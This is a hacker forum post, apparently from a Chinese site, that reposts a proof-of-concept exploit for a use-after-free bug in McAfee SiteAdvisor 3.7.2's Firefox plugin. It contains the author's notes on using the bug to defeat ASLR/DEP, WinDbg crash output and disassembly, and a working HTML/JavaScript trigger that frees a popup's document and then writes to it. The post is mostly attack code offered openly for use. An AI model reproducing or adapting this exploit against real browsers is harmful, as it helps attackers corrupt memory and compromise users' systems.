搜索
查看: 205|回复: 0

McAfee SiteAdvisor 3.7.2 (firefox) Use After Free PoC

[复制链接]

1839

主题

2255

帖子

1万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
11913
发表于 2015-7-8 12:10:54 | 显示全部楼层 |阅读模式
  1. <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
  2. <html>
  3.   <head>
  4.   <meta http-equiv="content-type" content="text/html; charset=windows-1250">
  5.   <meta name="generator" content="PSPad editor, [url]www.pspad.com[/url]">
  6.   <title>McAfee SiteAdvisor 3.7.2 for firefox Use After Free Poc</title>
  7.   </head>
  8.   <body>
  9.   <script>
  10.   
  11. /*
  12. Title: McAfee SiteAdvisor 3.7.2 (firefox) Use After Free
  13. Author: Marcin Ressel
  14. Twitter: [url]https://twitter.com/m_ressel[/url]
  15. NPMcFFPlg32.dll
  16. McAfee SiteAdvisor 3.7.2
  17. Tested on: Windows 8.1 (x64) and firefox 38.0.5
  18. Homepage: [url]https://www.siteadvisor.com/[/url]
  19.   
  20. Note: this vlun potentiali give us posibility to bruteforce base modules in memory
  21.       to bypass ASLR/DEP because the bug doesn't have negative impact to webbrowser proces
  22.       i mean firefox will not crash after trigger uaf i McAfee
  23.   
  24. 0:107> !gflag
  25. Current NtGlobalFlag contents: 0x02001800
  26.     htg - Enable heap tagging
  27.     ust - Create user mode stack trace database
  28.     hpa - Place heap allocations at ends of pages
  29.   
  30. 0:107> g
  31. (1d68.1b54): Access violation - code c0000005 (first chance)
  32. First chance exceptions are reported before any exception handling.
  33. This exception may be expected and handled.
  34. eax=24b9efec ebx=00000000 ecx=00000000 edx=003bf030 esi=1a978ff0 edi=00000001
  35. eip=6f404391 esp=003bf014 ebp=003bf054 iopl=0         nv up ei pl zr na pe nc
  36. cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00210246
  37. NPMcFFPlg32!CreateFFScriptable+0x141:
  38. 6f404391 8b4008          mov     eax,dword ptr [eax+8] ds:002b:24b9eff4=????????
  39.   
  40. ...
  41. 6f40437a 8b02            mov     eax,dword ptr [edx]
  42. 6f40437c 85c0            test    eax,eax
  43. 6f40437e 7402            je      NPMcFFPlg32!CreateFFScriptable+0x132 (6f404382)
  44. 6f404380 8b00            mov     eax,dword ptr [eax]
  45. 6f404382 8b4808          mov     ecx,dword ptr [eax+8]
  46. 6f404385 8b4004          mov     eax,dword ptr [eax+4]
  47. 6f404388 49              dec     ecx
  48. 6f404389 234a08          and     ecx,dword ptr [edx+8]
  49. 6f40438c 8b0488          mov     eax,dword ptr [eax+ecx*4]
  50. 6f40438f 8b00            mov     eax,dword ptr [eax]
  51. 6f404391 8b4008          mov     eax,dword ptr [eax+8] ds:002b:24b9eff4=????????
  52. 6f404394 eb45            jmp     NPMcFFPlg32!CreateFFScriptable+0x18b (6f4043db)
  53. 6f404396 8d45d0          lea     eax,[ebp-30h]
  54. 6f404399 50              push    eax
  55. 6f40439a e8d10e0000      call    NPMcFFPlg32!CreateFFScriptable+0x1020 (6f405270)
  56. 6f40439f 8bd0            mov     edx,eax
  57. 6f4043a1 8b02            mov     eax,dword ptr [edx]
  58. 6f4043a3 85c0            test    eax,eax
  59. 6f4043a5 7402            je      NPMcFFPlg32!CreateFFScriptable+0x159 (6f4043a9)
  60. 6f4043a7 8b00            mov     eax,dword ptr [eax]
  61. 6f4043a9 8b4808          mov     ecx,dword ptr [eax+8]
  62. 6f4043ac 8b4004          mov     eax,dword ptr [eax+4]
  63. 6f4043af 49              dec     ecx
  64. 6f4043b0 234a08          and     ecx,dword ptr [edx+8]
  65. 6f4043b3 8b3488          mov     esi,dword ptr [eax+ecx*4]
  66. 6f4043b6 8d45c4          lea     eax,[ebp-3Ch]
  67. 6f4043b9 50              push    eax
  68. 6f4043ba e8b10e0000      call    NPMcFFPlg32!CreateFFScriptable+0x1020 (6f405270)
  69. 6f4043bf 8bd0            mov     edx,eax
  70. ...
  71.   
  72. */
  73.   
  74.           var win = null;
  75.   
  76.           function crash()
  77.           {
  78.                    var doc = win.document;
  79.   
  80.                    var obj = doc;
  81.                    win.close();
  82.   
  83.                    for(var p in obj)
  84.                    {
  85.                        if(typeof obj[p] == 'string')
  86.                        {
  87.                            try{ obj[p] = "CCCC"; }catch(err){}
  88.                        }
  89.                    }
  90.           }
  91.   
  92.           win = window.open('data:text/html,','','width=20,height=20');   //you need disable popupBlocker
  93.           win.onload = crash;
  94.          
  95.          
  96.          
  97.   </script>
  98.   
  99.   </body>
  100. </html>
复制代码
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表